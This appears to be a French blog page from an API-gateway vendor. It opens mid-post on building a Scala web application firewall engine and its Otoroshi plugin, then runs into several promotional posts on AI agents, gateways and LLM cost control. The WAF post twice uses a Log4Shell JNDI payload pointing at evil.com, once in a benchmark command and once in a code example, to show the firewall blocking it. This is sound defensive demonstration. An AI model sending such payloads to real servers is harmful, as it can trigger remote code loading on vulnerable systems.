  """SecRule REQUEST_URI "@contains /health" "id:10001,phase:1,allow,nolog" """,
  "SecRuleEngine On"
)

// Get compiled engine (cached)
val engine = factory.engine(tenantRules)

La factory :

Compile une seule fois chaque configuration de règles unique
Met en cache les instances de CompiledProgram avec un TTL configurable
Permet la composition de règles grâce à l’import de presets
Est thread-safe pour les accès concurrents

Partie 7 : l’intégration dans Otoroshi

La dernière pièce : intégrer le moteur dans Otoroshi sous forme d’extension. Otoroshi est un reverse proxy HTTP open source écrit en Scala, que j’ai créé il y a plusieurs années. L’un des grands atouts d’Otoroshi, c’est son extensibilité : vous pouvez facilement écrire et utiliser vos propres plugins et extensions.

L’entité de configuration du WAF

Avec cette extension, une nouvelle entité permet de configurer le comportement du WAF (ce n’est pas à proprement parler une instance de WAF, mais vous voyez l’idée). Un point important ici : la possibilité d’activer ou non l’inspection des corps. Par conception, Otoroshi ne charge pas les corps des requêtes et des réponses en mémoire : il les traite en streaming. Il y a donc un compromis : activer l’inspection des corps rend Otoroshi un peu plus lent et plus gourmand en RAM, mais permet au WAF de détecter les attaques cachées dans les payloads.

case class CloudApimWafConfig(
  id: String,
  name: String,
  enabled: Boolean = true,
  block: Boolean = true,              // Block vs. monitor-only
  inspectInputBody: Boolean = true,
  inspectOutputBody: Boolean = true,
  inputBodyLimit: Option[Long] = None,
  outputBodyLimit: Option[Long] = None,
  outputBodyMimetypes: Seq[String] = Seq.empty,
  rules: Seq[String] = Seq.empty
)

Exemple de configuration :

{
  "id": "waf-config_production",
  "name": "Production WAF",
  "enabled": true,
  "block": true,
  "inspect_input_body": true,
  "inspect_output_body": true,
  "input_body_limit": 1048576,
  "output_body_limit": 1048576,
  "output_body_mimetypes": ["text/html", "application/json"],
  "rules": [
    "@import_preset crs",
    "SecRuleRemoveById 942100",
    "SecRuleEngine On"
  ]
}

Le plugin

Le plugin s’insère dans le pipeline requête/réponse d’Otoroshi :

class CloudApimWaf extends NgRequestTransformer {

  override def transformRequest(ctx: NgTransformerRequestContext): Future[Either[Result, NgPluginHttpRequest]] = {
    val wafConfig = getConfig(ctx)
    val engine = ext.factory.engine(wafConfig.rules.toList)

    val requestCtx = buildRequestContext(ctx.request, ctx.body)
    val result = engine.evaluate(requestCtx, List(1, 2, 5))

    result.disposition match {
      case Disposition.Continue =>
        ctx.otoroshiRequest.rightf

      case Disposition.Block(status, msg, ruleId) if wafConfig.block =>
        emitEvent(result, ctx)
        Results.Status(status)(buildErrorResponse(msg, ruleId)).leftf

      case Disposition.Block(_, _, _) =>
        // Monitor mode - log but don't block
        emitEvent(result, ctx)
        ctx.otoroshiRequest.rightf
    }
  }

  override def transformResponse(ctx: NgTransformerResponseContext): Future[Either[Result, NgPluginHttpResponse]] = {
    // Similar logic for response phases (3, 4, 5)
  }
}

Performances

Après toutes les optimisations, voici comment l’implémentation native se compare à notre précédente solution basée sur WASM :

Métrique	WASM (Coraza)	Natif (seclang-engine)
Mémoire par configuration	~20 Mo/instance	~20 Ko/instance + ~2 Mo (CRS partagé)
Modèle de concurrence	Plusieurs VM nécessaires	Un moteur par requête, une seule instance par config., thread-safe
Partage des règles	Aucun (dupliquées dans chaque VM)	Partage complet via les presets
Coût de sérialisation	JVM ↔ WASM à chaque requête	Nul (objets natifs)
Temps de démarrage	~1 500 ms par VM	~800 ms, une seule fois, pour parser et compiler le CRS + ~10 ms par config. non mise en cache

Et voici les chiffres bruts :

Métrique	Valeur
Évaluation du CRS sur une requête/réponse légitime	environ 8 ms
Évaluation du CRS sur une requête suspecte	environ 3 ms pour une attaque Log4Shell
Compilation des regex	Mise en cache, réutilisation sans coût

Par rapport à notre configuration basée sur WASM, le moteur natif :

consomme environ 1 000 fois moins de mémoire par configuration,
supprime le coût de sérialisation,
passe naturellement à l’échelle avec les threads de la JVM,
permet un véritable multi-tenant.

Voici un test typique, lancé sur mon MacBook Pro début 2024 (M3 Pro), avec oha et une requête légitime, à 500 appels/s pendant 1 minute :

$ oha -q 500 -c 200 -z 1m http://cawaf.oto.tools:9999 -H 'apk: foo' 

Summary:
  Success rate:	100.00%
  Total:	60004.7775 ms
  Slowest:	26.1541 ms
  Fastest:	2.2883 ms
  Average:	2.9967 ms
  Requests/sec:	500.0102

  Total data:	175.78 KiB
  Size/request:	6 B
  Size/sec:	2.93 KiB

Response time histogram:
   2.288 ms [1]     |
   4.675 ms [28740] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
   7.061 ms [961]   |■
   9.448 ms [221]   |
  11.835 ms [41]    |
  14.221 ms [17]    |
  16.608 ms [9]     |
  18.994 ms [2]     |
  21.381 ms [3]     |
  23.768 ms [3]     |
  26.154 ms [1]     |

Response time distribution:
  10.00% in 2.4673 ms
  25.00% in 2.5795 ms
  50.00% in 2.7420 ms
  75.00% in 3.0413 ms
  90.00% in 3.6479 ms
  95.00% in 4.4046 ms
  99.00% in 7.0370 ms
  99.90% in 12.2985 ms
  99.99% in 23.6878 ms


Details (average, fastest, slowest):
  DNS+dialup:	0.2206 ms, 0.1046 ms, 1.5284 ms
  DNS-lookup:	0.0247 ms, 0.0045 ms, 0.4549 ms

Status code distribution:
  [200] 29999 responses

Et maintenant, le même test avec une requête contenant une attaque Log4Shell :

$ oha -q 500 -c 200 -z 1m http://cawaf.oto.tools:9999 -H 'apk: ${jndi:ldap://evil.com/a}'

Summary:
  Success rate: 100.00%
  Total:  60003.4310 ms
  Slowest:  43.2109 ms
  Fastest:  1.9636 ms
  Average:  9.6649 ms
  Requests/sec: 499.9881

  Total data: 615.21 KiB
  Size/request: 21 B
  Size/sec: 10.25 KiB

Response time histogram:
    1.964 ms [1]     |
    4.508 ms [28517] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    8.213 ms [1303]  |■
   13.338 ms [37]    |
   17.463 ms [73]    |
   21.587 ms [41]    |
   26.712 ms [25]    |
   30.837 ms [0]     |
   34.961 ms [0]     |
   39.086 ms [0]     |
   43.211 ms [2]     |

Response time distribution:
  10.00% in 2.2964 ms
  25.00% in 2.3817 ms
  50.00% in 2.5813 ms
  75.00% in 4.0106 ms
  90.00% in 3.5270 ms
  95.00% in 4.7680 ms
  99.00% in 6.6709 ms
  99.90% in 21.6669 ms
  99.99% in 25.4090 ms


Details (average, fastest, slowest):
  DNS+dialup: 0.9616 ms, 0.0578 ms, 4.4482 ms
  DNS-lookup: 0.0190 ms, 0.0028 ms, 1.4588 ms

Status code distribution:
  [400] 29999 responses

Les optimisations clés :

RegexPool : les motifs précompilés sont mis en cache, avec leur chaîne comme clé
Sortie anticipée : le traitement s’arrête à la première disposition de blocage
Règles organisées par phase : seules les règles de la phase en cours sont chargées
Programmes immuables : compilés une fois, partagés sans risque entre les threads
TrieMap pour les variables TX : thread-safe, sans verrou

Ce qui n’est pas (encore) implémenté

Par souci de transparence : toutes les fonctionnalités de SecLang n’ont pas été retenues. Les manques se répartissent en trois catégories :

Vestiges du passé : les transformations de bit de parité (parityEven7bit, etc.), héritées de l’époque des modems. Aucun cas d’usage moderne.
Dépendances externes : @geoLookup (nécessite la base MaxMind), @rbl (requêtes DNS), les variables SESSION (nécessitent un stockage de sessions). Elles ajoutent de la latence et de la complexité, et sont mieux prises en charge par des composants d’infrastructure dédiés. Otoroshi a de toute façon son propre plugin GeoIP.
Validation propre à un domaine : @verifyCC, @verifyCPF, @verifySSN pour les cartes bancaires et les identifiants fiscaux. Ils ne sont pas utilisés par le CRS et rarement nécessaires pour la sécurité des API.

Les 100 % de réussite sur les 4 138 tests du CRS prouvent que tout ce qu’il faut pour une protection en conditions réelles est là. Et si vous avez besoin de quelque chose de sur-mesure, le trait SecLangIntegration vous permet de brancher vos propres implémentations sans forker le moteur.

Bien démarrer avec seclang-engine

Envie de l’essayer vous-même ? Voici un exemple minimal qui montre comment utiliser la bibliothèque dans votre projet Scala.

Commencez par ajouter la dépendance dans votre build.sbt :

libraryDependencies += "com.cloud-apim" %% "seclang-engine" % "1.5.0"

Puis voici un exemple complet et fonctionnel :

import com.cloud.apim.seclang.model._
import com.cloud.apim.seclang.scaladsl.SecLang

object WafExample extends App {

  // 1. Define your SecLang rules
  val rules = """
    |SecRule REQUEST_HEADERS:User-Agent "@pm firefox" \
    |    "id:1001,\
    |    phase:1,\
    |    block,\
    |    t:none,t:lowercase,\
    |    msg:'Firefox browser blocked',\
    |    status:403,\
    |    severity:'CRITICAL'"
    |
    |SecRule REQUEST_URI "@contains /admin" \
    |    "id:1002,\
    |    phase:1,\
    |    block,\
    |    t:none,t:lowercase,\
    |    msg:'Admin access denied',\
    |    status:403"
    |
    |SecRuleEngine On
    |""".stripMargin

  // 2. Parse the rules into an AST
  val configuration = SecLang.parse(rules) match {
    case Left(error) => sys.error(s"Parse error: $error")
    case Right(config) => config
  }

  // 3. Compile the AST into an executable program
  val program = SecLang.compile(configuration)

  // 4. Create the engine
  val engine = SecLang.engine(program)

  // 5. Build a request context to evaluate
  val request = RequestContext(
    method = "GET",
    uri = "/api/users",
    headers = Headers(Map(
      "User-Agent" -> List("Mozilla/5.0 Chrome/120.0"),
      "Host" -> List("example.com")
    )),
    query = Map("page" -> List("1"))
  )

  // 6. Evaluate the request against phases 1 and 2
  val result = engine.evaluate(request, phases = List(1, 2))

  // 7. Check the result
  result.disposition match {
    case Disposition.Continue =>
      println("Request allowed")
    case Disposition.Block(status, msg, ruleId) =>
      println(s"Request blocked! Status: $status, Rule: $ruleId, Message: $msg")
  }
}

Cet exemple :

Définit deux règles simples : l’une bloque les navigateurs Firefox, l’autre bloque l’accès à /admin
Parse les règles avec ANTLR sous le capot
Les compile en un programme optimisé
Crée une instance du moteur (thread-safe, réutilisable)
Évalue une requête d’exemple et vérifie si elle doit être bloquée

Pour un usage en production avec l’OWASP CoreRuleSet, vous pouvez utiliser le pattern factory avec des presets :

import com.cloud.apim.seclang.model._
import com.cloud.apim.seclang.scaladsl.{SecLang, SecLangPresets}

// Create a factory with CRS preset
val factory = SecLang.factory(Map("crs" -> SecLangPresets.coreruleset))

// Get an engine with CRS rules + custom exclusions
val engine = factory.engine(List(
  "@import_preset crs",           // Import all CRS rules
  "SecRuleRemoveById 942100",     // Disable a specific rule
  "SecRuleEngine On"
))

// The factory caches compiled programs, so subsequent calls
// with the same rules return the cached engine instantly

// Test with a malicious request (Log4Shell attack)
val maliciousRequest = RequestContext(
  method = "GET",
  uri = "/api/search",
  headers = Headers(Map(
    "User-Agent" -> List("Mozilla/5.0"),
    "Host" -> List("example.com"),
    "X-Api-Key" -> List("${jndi:ldap://evil.com/exploit}")  // Log4Shell payload
  ))
)

val result = engine.evaluate(maliciousRequest, phases = List(1, 2))

result.disposition match {
  case Disposition.Continue =>
    println("Request allowed")
  case Disposition.Block(status, msg, ruleId) =>
    println(s"Attack blocked! Rule $ruleId: $msg")
    // Output: Attack blocked! Rule 944150: Potential Remote Command Execution: Log4j / Log4shell
}

Open source

Tout ce travail est open source :

seclang-engine : le parser, le compilateur et le moteur d’exécution SecLang
seclang-engine-coreruleset : un wrapper qui embarque le CRS
libinjection-jvm : le portage Java de libinjection
otoroshi-waf-extension : l’intégration dans Otoroshi

Comme seclang-engine est une bibliothèque autonome, avec des API Java et Scala, vous pouvez facilement l’intégrer à n’importe quel projet JVM, qu’il s’agisse d’une application Jakarta EE, Spring Boot, Quarkus ou Play Framework. Ajoutez simplement la dépendance et commencez à protéger vos endpoints.

Conclusion

Ce qui avait commencé comme un projet de vacances de Noël s’est transformé en une implémentation complète de WAF. Ce voyage m’a appris plusieurs choses :

Ne vous laissez pas intimider par la complexité : cette grammaire ANTLR a transformé un parser « impossible » en projet de week-end.
Les suites de tests valent de l’or : les tests du CRS ont été inestimables pour trouver des cas limites que je n’aurais jamais imaginés.
L’assistance de l’IA, c’est du concret : Claude Code m’a aidé à venir à bout des parties fastidieuses (méthodes du visitor, portage de libinjection) pour que je puisse me concentrer sur l’architecture.
Le multi-tenant, ça se conçoit : le cache et la composition ne s’ajoutent pas après coup, ils doivent être pensés dès le départ.

Le nouveau WAF tourne désormais en production sur les instances Otoroshi managées de Cloud APIM et sur les déploiements Otoroshi de Clever Cloud. Il est plus rapide, plus économe en mémoire et bien plus flexible que notre solution basée sur WASM.

Si vous voulez utiliser seclang-engine dans vos propres projets JVM, jetez un œil aux dépôts ci-dessus. Et si vous avez des questions ou envie de contribuer, n’hésitez pas à ouvrir des issues ou des PR !

Les Agents IA arrivent dans Otoroshi

Thomas Delafaye — Thu, 16 Oct 2025 14:13:16 GMT

Le monde des agents IA

Depuis quelques mois, tout le monde parle d’agents IA, à toutes les sauces ! Une sorte de machine à tout faire et une super intelligence interconnectée à tous nos outils du quotidien.

Ces intelligences capables non seulement de comprendre et de répondre, mais aussi d’agir.
Des IA capables de prendre des décisions, d’appeler des outils, d’exécuter des tâches et de collaborer entre elles.

Mais une question se posait encore : Comment les créer, les gouverner et les connecter à nos systèmes réels ?

C’est précisément ce qu’apporte aujourd’hui Otoroshi, la passerelle API open source, avec sa nouvelle interface dédiée aux workflows et aux agents IA.

Une passerelle qui s’ouvre à de nouveaux usages

Jusqu’ici, Otoroshi était déjà reconnu comme un chef d’orchestre des API : un point central qui sécurise, surveille et optimise les échanges entre services.
Mais avec l’arrivée de son extension LLM et de l’interface visuelle de workflows, Otoroshi franchit un cap.

Il ne se contente plus de faire transiter des requêtes.
Il pense, décide, agit et permet à chacun de concevoir ses propres agents IA sans écrire une ligne de code.

Créez vos propres workflows IA

Grâce à la nouvelle interface de conception visuelle, Otoroshi permet désormais de dessiner des workflows intelligents en quelques clics.

Imaginez un canvas sur lequel vous pouvez :

Relier des blocs logiques : décisions, conditions, boucles, actions.
Connecter des fonctions avancées :
- appels à des modèles de langage (LLM),
- appels HTTP vers vos APIs,
- outils externes,
- fonctions internes (calculs, filtres, conversions, etc.).
Ajouter des capacités multimodales : voix, texte, image, vidéo, etc.
Et surtout, donner à ces workflows une intelligence adaptative grâce aux agents IA intégrés.

C’est une nouvelle façon de créer : non plus en écrivant du code, mais en composant une logique intelligente, visuellement.

Les agents IA made by Otoroshi LLM

Un agent IA dans Otoroshi, c’est plus qu’un chatbot.
C’est une entité capable de :

Recevoir une intention (par texte, voix, événement, API).
Analyser le contexte grâce à sa mémoire et à ses modèles d’intelligence.
Choisir une action : appeler un service, générer une image, déclencher un scénario.
Apprendre et s’adapter au fil des interactions.
Respecter vos règles métiers et vos garde-fous de sécurité.

Et surtout, ces agents peuvent être orchestrés dans un workflow :
plusieurs agents qui collaborent, se transmettent des tâches, se corrigent ou se complètent.

🧩 Vous pouvez littéralement créer un écosystème d’agents IA reliés à vos systèmes d’entreprise.

Une interface pensée pour la créativité et la maîtrise

Otoroshi offre désormais une interface utilisateur complète pour gérer :

🔹 Les Workflows IA — conception visuelle, déclencheurs, logique, conditions.
🔹 Les Agents IA — personnalité, rôle, mémoire, accès, outils autorisés.
🔹 Les Intégrations — appels HTTP, fonctions internes, outils métiers, IA externes.
🔹 Les Règles et garde-fous — modération, validation, supervision des actions.

Le tout dans une interface fluide, visuelle, et gouvernée comme une architecture d’entreprise.
Autrement dit : la puissance du no-code avec la rigueur du DevOps.

Ce que cela rend possible

Avec Otoroshi et son extension LLM, tout devient orchestrable.
Voici quelques exemples concrets :

Un agent support client qui comprend une demande, consulte la base documentaire, crée un ticket et envoie un message vocal de confirmation.
Un assistant RH qui analyse des candidatures, rédige un résumé et planifie un entretien.
Un orchestrateur marketing qui génère un texte, une image et une vidéo pour une campagne, tout en respectant la charte de marque.
Un superviseur IT qui surveille les logs, détecte une anomalie et prévient automatiquement l’équipe.
Un coach digital qui apprend des interactions passées pour proposer des recommandations toujours plus précises.

Et tout cela, sans code, depuis une interface unifiée et sécurisée.

Une intelligence sous contrôle

Ce qui rend cette évolution unique, c’est que l’intelligence artificielle ne s’échappe pas du cadre.
Elle est orchestrée, auditable et maîtrisée.

Chaque action, chaque décision, chaque interaction est enregistrée et gouvernée via Otoroshi.
Les agents ne font rien “dans le vide” : ils agissent dans les limites que vous définissez.

C’est la différence entre une IA puissante et une IA fiable.

Une révolution dans la manière de concevoir l’intelligence

Otoroshi n’est plus seulement une passerelle entre les systèmes.
C’est désormais un orchestrateur d’intelligences.

Les entreprises peuvent :

Créer leurs propres agents IA,
Dessiner leurs workflows intelligents,
Connecter leurs outils et services existants,
Et tout piloter depuis une interface visuelle.

C’est une nouvelle façon de concevoir la transformation numérique :
plus intuitive, plus agile, plus intelligente.

✨ En résumé

Otoroshi + Extension LLM, c’est :

🧠 Des agents IA personnalisables, capables d’agir et de raisonner.
🔄 Une interface visuelle pour créer des workflows intelligents sans coder.
🌐 Une intégration fluide avec tous vos outils et services.
🔒 Une gouvernance complète : sécurité, audit, conformité.
🚀 Une plateforme prête pour l’avenir des systèmes autonomes et collaboratifs.

📬 Restez informé
Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.

🏢 À propos de Cloud APIM

Cloud APIM est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres managées, performantes et prêtes à l’emploi.

Nos produits innovants incluent :

Otoroshi Managed Instances : Instances Otoroshi gérées, configurées et prêtes en quelques secondes
Serverless avec GitOps : Déploiements scalables sans gestion d’infrastructure
Authify : Authentification rapide et sécurisée pour vos APIs

API Gateway vs Load Balancer : quelles différences et quel choix pour votre architecture ?

Thomas Delafaye — Tue, 08 Jul 2025 08:20:51 GMT

Dans le monde de l’architecture cloud moderne, deux termes reviennent souvent lorsqu’il s’agit de gestion du trafic applicatif : API Gateway et Load Balancer.

Bien qu’ils puissent sembler similaires, leurs rôles sont bien distincts.

Savoir faire la différence entre ces deux composants est essentiel pour construire une infrastructure performante, sécurisée et scalable.

Dans cet article, nous allons :

Définir ce qu’est un Load Balancer
Expliquer le rôle d’une API Gateway
Comparer leurs cas d’usage
Et enfin, vous guider dans le choix de la bonne solution selon vos besoins

Qu’est-ce qu’un Load Balancer ?

Un Load Balancer (ou répartiteur de charge) est un composant réseau qui distribue automatiquement le trafic entrant entre plusieurs serveurs ou instances d’un même service.

Il agit principalement au niveau de la couche 4 (transport) ou 7 (application) du modèle OSI.

Objectifs principaux :

Répartition du trafic pour éviter la surcharge d’un seul serveur
Haute disponibilité et tolérance aux pannes
Amélioration des performances globales

Exemple d’usage :

Un site web très visité peut utiliser un Load Balancer pour répartir les requêtes HTTP entre plusieurs serveurs web (ex : Nginx, Apache).

Qu’est-ce qu’une API Gateway ?

Une API Gateway est bien plus qu’un répartiteur de trafic.

Elle est conçue pour gérer les appels aux API (interfaces de programmation), en assurant leur sécurité, gouvernance et orchestration.

Elle se situe entre les clients (applications, mobiles, partenaires…) et vos services backend (microservices, bases de données, etc.).

Fonctionnalités clés d’une API Gateway :

Authentification & Autorisation (OAuth2, JWT)
Rate Limiting (limitation de débit)
Transformation de requêtes et de réponses
Routage intelligent (en fonction des versions, headers, payload…)
Monitoring & Logs
Gestion du cycle de vie des API

Exemple d’usage :

Une entreprise expose ses services métier (stock, commande, paiement) via des APIs.

L’API Gateway centralise tous les appels, applique des règles de sécurité, trace les appels et permet une gouvernance globale.

Load Balancer vs API Gateway : le comparatif

Fonctionnalité	Load Balancer	API Gateway
Répartition du trafic	✅ Oui	✅ Oui (avec logique applicative)
Authentification	❌ Non	✅ Oui
Sécurité des API	❌ Non	✅ Oui (WAF, TLS, etc.)
Transformation JSON/XML	❌ Non	✅ Oui
Limitation de débit	❌ Non	✅ Oui
Monitoring des appels API	❌ Basique	✅ Avancé
Gouvernance des API	❌ Non	✅ Oui

Quelle solution choisir pour votre infrastructure ?

Si votre objectif est uniquement de répartir du trafic entre plusieurs serveurs pour garantir la disponibilité, le Load Balancer suffit.
En revanche, si vous souhaitez exposer, sécuriser, versionner et piloter des API pour des applications internes ou externes, l’API Gateway est indispensable.

En réalité, ces deux outils sont complémentaires. Une architecture moderne utilise souvent un Load Balancer en frontal, qui dirige le trafic HTTP vers une API Gateway, elle-même chargée de gérer les API et de router vers les bons services.

Pourquoi choisir une solution de gestion d’API dans le cloud ?

Les API sont aujourd’hui au cœur de la transformation digitale. Pour les entreprises, l’externalisation de la gestion des API via une plateforme cloud permet de :

Gagner du temps dans la mise en production
Profiter d’un hébergement sécurisé et scalable
Suivre les performances et les usages via des dashboards avancés
Intégrer facilement des outils d’authentification (SSO, tokens, etc.)

Cloud-APIM : la plateforme française de gestion d’API cloud

Chez Cloud-APIM, nous aidons les entreprises à exposer, sécuriser et superviser leurs API à travers une solution complète d’API Management en mode SaaS ou cloud privé.

Nos atouts :

Hébergement souverain en France 🇫🇷
Portail développeur personnalisable
Sécurité avancée (TLS, OAuth2, WAF)
Support entreprise & accompagnement technique

En résumé :

Le Load Balancer répartit le trafic,
L’API Gateway gouverne, sécurise et trace les appels APIs
Les deux peuvent (et doivent souvent) être utilisés ensemble.

➡️ Prêt à structurer votre stratégie API ? Testez dès maintenant notre plateforme sur cloud-apim.com ou contactez nos experts pour une démonstration.

Maîtriser les coûts de l’IA générative en entreprise grâce à Otoroshi LLM Extension

Thomas Delafaye — Thu, 03 Jul 2025 14:52:56 GMT

L’intelligence artificielle générative (IA générative) révolutionne l’entreprise : assistants intelligents, automatisation, génération de contenus… les cas d’usage explosent.

Mais avec cette adoption croissante vient une problématique majeure : la gestion des coûts d’utilisation des modèles de langage (LLM) comme ChatGPT, Claude ou Mistral.

De nombreuses entreprises se retrouvent face à une facture qui grimpe sans contrôle réel, à cause d’un usage intensif, mal encadré ou dispersé dans les équipes.

C’est précisément pour répondre à ce besoin que nous avons conçu Otoroshi LLM Extension : une solution pour reprendre la maîtrise des coûts liés à l’IA en entreprise, sans sacrifier l’innovation.

Pourquoi surveiller et optimiser l’usage des LLMs en entreprise ?

Voici ce que nous observons sur le terrain :

Les coûts mensuels liés aux LLMs explosent avec l’usage croissant (notamment GPT-4).
Le manque de visibilité sur qui utilise quoi, comment et à quel prix.
L’absence de quotas ou règles d’usage pour les collaborateurs.
Aucune distinction entre les tâches simples (qui pourraient utiliser un modèle gratuit ou local) et les tâches complexes.

💡 Résultat : une perte de contrôle budgétaire, un risque de surconsommation et des dépenses injustifiées.

Otoroshi LLM Extension : la solution pour maîtriser les coûts d’IA

Otoroshi LLM Extension est une surcouche stratégique qui agit comme un point d’entrée unique pour tous les usages IA dans votre entreprise.

Elle vous permet de surveiller, sécuriser et piloter l’usage des LLMs, tout en réduisant significativement les coûts.

Réduction automatique des appels LLM grâce au cache intelligent

De nombreuses requêtes sont répétitives (même question, même contexte).

Plutôt que de repayer à chaque fois, Otoroshi LLM Extension réutilise les réponses précédentes.

Mise en cache configurable basée sur les prompts
Réponses stockées temporairement pour éviter des appels facturés inutilement
Idéal pour les assistants internes ou FAQ automatisées

🎯 Impact : jusqu’à 50 % de réduction sur le volume de requêtes facturées

Routage intelligent vers le bon modèle au bon moment

Tous les cas d’usage ne nécessitent pas GPT-4.

Pour les tâches simples : modèles open source hébergés en interne
Pour les cas complexes : fallback vers des modèles performants (GPT, Claude)
Possibilité de créer des règles personnalisées selon le type de requête ou l’utilisateur

🎯 Impact : usage optimisé, facture allégée

Gestion des accès, quotas et budgets par équipe ou service

Contrôlez qui a accès à l’IA, combien de requêtes sont autorisées, et suivez les budgets.

Mise en place de plafonds de consommation (nombre de requêtes ou coût)
Attribution de clés API par utilisateur ou service
Application de politiques de gouvernance IA

🎯 Impact : fin des dérives de consommation, usage aligné avec la stratégie

Tableaux de bord clairs pour une meilleure gouvernance

Vous ne pouvez optimiser que ce que vous mesurez.

Visualisation de l’usage LLM par département, utilisateur ou projet
Estimation en temps réel des coûts (par token ou modèle)
Export et reporting pour les DSI et services achats

🎯 Impact : pilotage budgétaire fiable et décisionnel

Réécriture automatique des prompts pour réduire les tokens utilisés

Certains prompts sont inutilement longs ou mal formulés.

Otoroshi peut les simplifier ou optimiser automatiquement avant envoi.

Suppression des redondances
Optimisation sémantique pour limiter les tokens
Résultats identiques, coût réduit

🎯 Impact : réduction directe de la consommation de tokens facturés

Sécurité et conformité intégrées

En centralisant tous les appels IA :

Vous bloquez les usages non autorisés
Vous évitez les fuites de données sensibles
Vous renforcez la conformité RGPD et sécurité interne

Une innovation maîtrisée, budget sous contrôle

Adopter l’IA générative ne doit pas rimer avec perte de contrôle budgétaire.

Avec Otoroshi LLM Extension, vous offrez à vos équipes un cadre sécurisé et intelligent pour l’usage des LLMs, tout en maximisant le retour sur investissement.

🚀 Prêt à reprendre la main sur vos coûts IA ?

🔗 Découvrez la documentation officielle

📬 Restez informé
Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.

🏢 À propos de Cloud APIM

Nos produits innovants incluent :

Otoroshi Managed Instances : Instances Otoroshi gérées, configurées et prêtes en quelques secondes
Serverless avec GitOps : Déploiements scalables sans gestion d’infrastructure
Authify : Authentification rapide et sécurisée pour vos APIs

À la découverte de l'extension Otoroshi LLM by Cloud APIM

Thomas Delafaye — Mon, 30 Jun 2025 07:50:03 GMT

🔍 Qu’est-ce que l’extension Otoroshi LLM ?

L’extension Otoroshi LLM développée par Cloud APIM est un module innovant qui transforme la passerelle API open source Otoroshi en une puissante passerelle d’IA (AI Gateway).

Cette extension permet une intégration native avec les principaux fournisseurs de modèles de langage (LLM) tels que OpenAI, Mistral, Anthropic, Azure, Hugging Face, et bien d’autres (voir la documentation).

Grâce à cette technologie, les entreprises peuvent intégrer des modèles conversationnels, des fonctionnalités génératives ou des services intelligents directement dans leur infrastructure API.

Fonctionnalités clés de l’extension Otoroshi LLM

Compatibilité multi-fournisseurs IA

Basculez facilement entre plusieurs modèles comme GPT (OpenAI), Claude, Mistral, vos propres modèles internes ou des modèles open source.

Réduisez la dépendance à un seul fournisseur (vendor lock-in) et améliorez la flexibilité de vos flux IA.

Ingénierie de prompt avancée

Créez des prompts dynamiques avec des modèles personnalisés
Injectez du contexte en temps réel
Appliquez des barrières de sécurité (guardrails) pour contrôler les entrées et sorties

Idéal pour les cas d’usage où la conformité, la confidentialité des données et la fiabilité des réponses sont critiques.

Gouvernance et sécurité de l’IA

Quotas LLM par utilisateur ou par service
Contrôle d’accès basé sur les rôles (RBAC)
Modération des requêtes et audit complet
Intégration native avec les règles Otoroshi pour une gouvernance fine au niveau API

📊 Optimisation des coûts et des performances

Suivi du nombre de tokens et des coûts par requête
Cache sémantique pour éviter les appels redondants
Stratégies de retry, équilibrage de charge, et gestion des délais

Déploiement facile avec Cloud APIM et Clever Cloud

L’extension Otoroshi LLM est disponible dès maintenant sur la plateforme Cloud APIM via les instances managées Otoroshi ou sous forme de passerelle IA serverless.

Depuis décembre 2024, elle est également déployable en quelques minutes via Clever Cloud, grâce à l’add-on “Otoroshi LLM extension”.

Cas d’usage typiques

Workflows d’API pilotés par l’IA

Centralisez les prompts, gérez les réponses, et optimisez l’usage des modèles LLM dans vos APIs.

Chatbots sécurisés et agents conversationnels

Déployez des agents audités, modérés et adaptés à des environnements professionnels.

Routage intelligent

Confiez les tâches courantes à des modèles légers comme Mistral ou Ollama, et réservez GPT-4 pour les opérations critiques.

APIs prêtes pour l’audit et la conformité

Construisez des fonctionnalités IA conformes pour les secteurs réglementés : finance, santé, administration, etc.

Pourquoi c’est important

À l’heure où l’intelligence artificielle et les APIs convergent, l’extension Otoroshi LLM offre une infrastructure fiable, sécurisée et évolutive pour les applications de nouvelle génération.

👉 Créez des microservices intelligents
👉 Proposez des expériences interactives
👉 Automatisez vos opérations backend avec transparence et contrôle

🔗 Consultez la documentation officielle de l’extension Otoroshi LLM

📬 Restez informé
Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.

🏢 À propos de Cloud APIM

Nos produits innovants incluent :

Otoroshi Managed Instances : Instances Otoroshi gérées, configurées et prêtes en quelques secondes
Serverless avec GitOps : Déploiements scalables sans gestion d’infrastructure
Authify : Authentification rapide et sécurisée pour vos APIs

Pas d'IA sans API : IA + API = ❤️

Thomas Delafaye — Mon, 28 Oct 2024 08:50:29 GMT

À l’heure de la transformation numérique, la formule « Pas d’IA sans API » est devenue une notion clé pour comprendre comment l’intelligence artificielle (IA) s’intègre naturellement aux systèmes logiciels modernes.

La relation symbiotique entre les API (Application Programming Interfaces) et l’IA est au cœur de ce qui rend les technologies d’IA plus accessibles, plus évolutives et mieux intégrées aux activités des entreprises.

Cet article explique pourquoi les API sont fondamentales pour l’IA, quels bénéfices elles apportent, et présente des exemples concrets de leur impact.

Qu’est-ce qu’une API et pourquoi est-ce important pour l’IA ?

Une API (Application Programming Interface) est un ensemble de règles et de protocoles qui permet à différentes applications logicielles de communiquer entre elles.

Concrètement, les API permettent à une application d’accéder aux données ou aux fonctionnalités d’une autre, ce qui facilite l’intégration de systèmes différents.

Dans le cas de l’IA, les API font le pont entre les modèles et algorithmes d’IA et les applications du monde réel : elles offrent un moyen structuré d’implémenter des fonctionnalités d’IA sans réinventer la roue.

Les API jouent un rôle central dans l’intégration de l’IA, car elles simplifient le déploiement de solutions basées sur l’IA en permettant aux développeurs d’utiliser des capacités d’IA prêtes à l’emploi.

Les entreprises n’ont donc pas besoin d’une expertise poussée en IA pour intégrer à leurs logiciels des fonctionnalités intelligentes comme le traitement du langage naturel (NLP), la reconnaissance d’images ou l’analyse prédictive.

Une relation symbiotique : comment les API favorisent l’adoption de l’IA

Le lien entre API et IA va au-delà de la simple intégration : les deux sont interdépendants dans l’essor des systèmes intelligents. Voici pourquoi les API sont essentielles pour adopter l’IA et la déployer à grande échelle :

Accès aux données : le carburant du développement de l’IA
- Les systèmes d’IA ont besoin de données pour apprendre et progresser, et les API facilitent l’accès aux données issues de sources variées.
  
